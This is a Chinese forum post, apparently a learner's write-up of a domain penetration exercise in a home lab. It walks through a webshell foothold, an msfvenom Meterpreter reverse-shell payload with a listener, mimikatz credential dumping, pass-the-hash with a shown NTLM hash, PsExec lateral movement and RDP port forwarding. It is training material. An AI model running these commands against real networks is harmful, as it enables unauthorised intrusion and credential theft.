實戰|記一次域滲透
說明
這是我第一次在社區發文,僅作為最近學習過程的收獲記錄,踩了很多坑,本人文章寫的不是很好,文章中很多東西都也沒寫出來,思路有一些亂,沒有完整的將域滲透的流程寫出來(圖配的很亂),在之后我再補全一些剛上手容易遇到的問題。
文章沒有使用掃描模塊或者nmap添加代理對內網掃描的過程。msf提供的代理模塊是指,能供其他應用使用的代理。這就是為什么很多文章里寫道,拿到一個shell后,會添加一條路由,再配置socks4a模塊,然后修改proxychains4.conf文件了。其他用proxychains4使用代理的,比如proxychains4 nmap,是通過msf拿到的shell的轉發出去的。我一開始理解錯了,浪費了很多時間。
我是在某次跟師傅線下挖洞時接觸到了域滲透,一直到現在才親手搭環境復現,了解一些工具的使用,本人技術很菜,沒挖到過src,不會代碼審計,只懂一點流程,開發也不是很厲害,春招連個安服崽的工作都找不到(現在都不招人了我是真沒想到hhh)。心塞。
所使用的工具:
哥斯拉的webshell msf msfvenom、handler、psexec模塊 meterpreter kiwi_cmd mimikatz psexec
也參考了很多的資料,不貼出來應該沒什么問題吧。
網段設置
ip:192.168.10.1/24(自定義網段,模擬內網環境) 掩碼:255.255.255.0 DC(win server2008R2):192.168.10.2 web-server\administrator(win server2008R2):192.168.192.153(雙網卡,外網)、192.169.10.10(內網) Common-computer(win7 x64):192.168.10.20(沒用上)
準備工作
這里通過phpstudy快速搭站,上傳webshell,然后哥斯拉連接,上傳免殺木馬的方式,直接進入域滲透環節。

測試連接。

使用命令生成遠控木馬程序,并通過webshell上傳hack.exe,然后kali設置監聽,然后在webshell中執行。
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.192.132 LPORT=6789 -f exe -o hack.exe use exploit/multi/handler set payload windows/x64/meterpreter_reverse_tcp set lhost 192.168.192.132 set lport 6789 exploit -j(后臺)允許

開啟監聽。

此時木馬已上傳,直接運行即可。

此時kali端收到一個meterpreter shell,接下來開啟域滲透。

域內信息收集
大致說下收集哪些點
域名、網段、域內主機。
輸入sessions_id,進入到會話
先探測一波,得到是administrator權限(好像是因為phpstudy默認是以管理員權限啟動的),所以不用提權(其實我也不太會,改天使用現成的靶機練練提權),直接getsystem獲取系統管理員權限。

shell命令進入到會話;
然后對域內信息進行收集;
net view net group /domain
等等域內信息收集命令,但是我自己搭建的域好像有點問題,就略過這一塊兒了。

ipconfig 查看網卡配置信息;
route print 查看路由表;
arp -a 查看arp緩存;
可以看到應該是有兩個網段的,一個外網網段,一個內網網段192.168.10.0
接著就需要找內網存活主機,以及找到域控的ip。找域控的話,直接ping域名就行,這里省略一些操作,直搗黃龍(域控)。


橫向移動
這里我做了不同實驗(因為是自己搭建的環境,并且域管理員賬號跟密碼都是知道的)。
1、直接在本地的跳板機上運行mimikatz,抓取ntlm,然后hash傳遞,這里僅僅想展示橫向移動的效果
2、通過meterpreter加載mimikatz獲取域管理員賬戶的ntlm值,然后利用psexec模塊,獲取域控的控制權(但是我沒成功過,一直都抓不到,后來測試可以,原來之前是我看錯了)。
3、通過端口轉發,將域控的3389端口轉發到本地的某個端口,然后遠程連接它(作弊了,因為我知道賬號密碼)。
1、直接在跳板機上操作
mimikatz.exe privilege::debug sekurlsa::logonPasswords ntlm:bf056feb4349eff2d9761e322d6178dd 同時賬號密碼也爆出來了。 然后通過mimikatz進行hash傳遞 mimikatz.exe privilege::debug sekurlsa::pth /user:administrator /domain:CYBER.COM /ntlm:bf056feb4349eff2d9761e322d6178dd 可以看到新打開了一個cmd窗口,dir \\192.168.10.2\c$
ps:在這里有個非常坑的點,我一開始用的新建的域用戶登錄的跳板機,結果pth一直失敗,查了很久資料,終于找到原因所在,直接浪費一晚上。
在工作組環境中:
Windows Vista 之前的機器,可以使用本地管理員組內用戶進行攻擊。
Windows Vista 之后的機器,只能是administrator用戶的哈希值才能進行哈希傳遞攻擊,其他用戶(包括管理員用戶但是非administrator)也不能使用哈希傳遞攻擊,會提示拒絕訪問。
在域環境中:
只能是域管理員組內用戶(可以是域管理員組內非administrator用戶)的哈希值才能進行哈希傳遞攻擊,攻擊成功后,可以訪問域內任何一臺機器。
被攻擊的機器需要開放445端口,而且用戶名沒有更改過,之前就碰到比較聰明的運維,雖然hash是一樣的,但是他把每臺主機的用戶名都改掉了。


有賬號和密碼的話,也可以使用psexec.exe腳本登錄。(該腳本好像可以用來本地提權到system權限,不過域用戶好像不行,win 10好像也不行) PsExec64.exe \\192.168.10.2 -u administrator -p !@#123Qwe cmd.exe

2、meterpreter加載mimikatz(kiwi)
kiwi模塊同時支持32位和64位的系統,但是該模塊默認是加載32位的系統,所以如果目標主機是64位系統的話,直接默認加載該模塊會導致很多功能無法使用。所以如果目標系統是64位的,則必須先查看系統進程列表,然后將meterpreter進程遷移到一個64位程序的進程中,才能加載kiwi并且查看系統明文。如果目標系統是32位的,則沒有這個限制。
ps 查看進程id,找到一個64位的程序。
遷移進程 migrate PID。
kiwi_cmd sekurlsa::logonPasswords (不過也有可能抓不到密碼,如果域管理員沒登陸這臺機器的話) kiwi_cmd "sekurlsa::pth /user:administrator /domain:cyber.com /ntlm:bf056feb4349eff2d9761e322d6178dd " //這里好坑,需要將執行的命令用""括起來。而且也沒有反彈shell


所以使用msf的psexec模塊。如下按全0設置就好 use exploit/windows/smb/psexec set payload windows/x64/meterpreter/bind_tcp set rhost 192.168.10.2 set smbuser administrator set smbpass 00000000000000000000000000000000:bf056feb4349eff2d9761e322d6178dd set smbdomain cyber.com

3、portfwd端口映射,遠程桌面連接
添加一條路由route add 192.168.10.2/24 1(sessions id),表示所有經過這個網段的流量都從sessions 1轉發。 route print portfwd add -l loc_port -r target_ip -p 3389 portfwd add -l 10001 -r 192.168.10.2 -p 3389(表示將遠程主機的3389端口映射到本地10001端口,然后通過本地IP+port的方式遠程連接,看資料好像是說3389端口不出網的話,可以通過這樣的方式來連接3389) rdesktop 192.168.192.132:10001 (kali ip) 使用賬號名@域名的方式,加上密碼即可登錄,例如:administrator@cyber !@#123Qwe


結尾
我自己感覺這篇文章確實寫的不是很好,沒有把攻擊的原理寫出來,文章的深度不夠,而且感覺一些地方有錯誤,希望各位師傅們能給一些指點。